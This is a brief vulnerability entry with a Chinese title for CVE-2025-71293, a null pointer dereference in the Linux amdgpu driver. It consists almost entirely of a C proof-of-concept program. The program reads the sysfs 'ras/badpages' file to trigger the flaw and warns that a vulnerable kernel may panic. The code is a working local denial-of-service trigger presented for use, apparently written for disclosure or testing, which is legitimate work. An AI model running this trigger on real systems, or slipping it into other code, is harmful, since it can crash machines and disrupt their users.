CVE-2025-71293 Linux内核amdgpu空指针解引用漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2025-71293 * Trigger: Read the sysfs badpages file on a system with vulnerable amdgpu driver. * Condition: EEPROM contains invalid address entries causing allocation skip. */ int main() { // The path might vary depending on the card number (card0, card1, etc.) const char *sysfs_path = "/sys/class/drm/card0/device/ras/badpages"; int fd; char buffer[1024]; printf("[+] Attempting to trigger CVE-2025-71293...\n"); printf("[+] Target: %s\n", sysfs_path); fd = open(sysfs_path, O_RDONLY); if (fd < 0) { perror("[-] Failed to open device file (Device not present or permissions denied)"); return EXIT_FAILURE; } // Reading the file triggers the vulnerable function amdgpu_ras_sysfs_badpages_read ssize_t bytes_read = read(fd, buffer, sizeof(buffer) - 1); if (bytes_read < 0) { perror("[-] Read failed"); } else { buffer[bytes_read] = '\0'; printf("[+] Read operation completed. If vulnerable, the kernel may panic.\n"); } close(fd); return EXIT_SUCCESS; }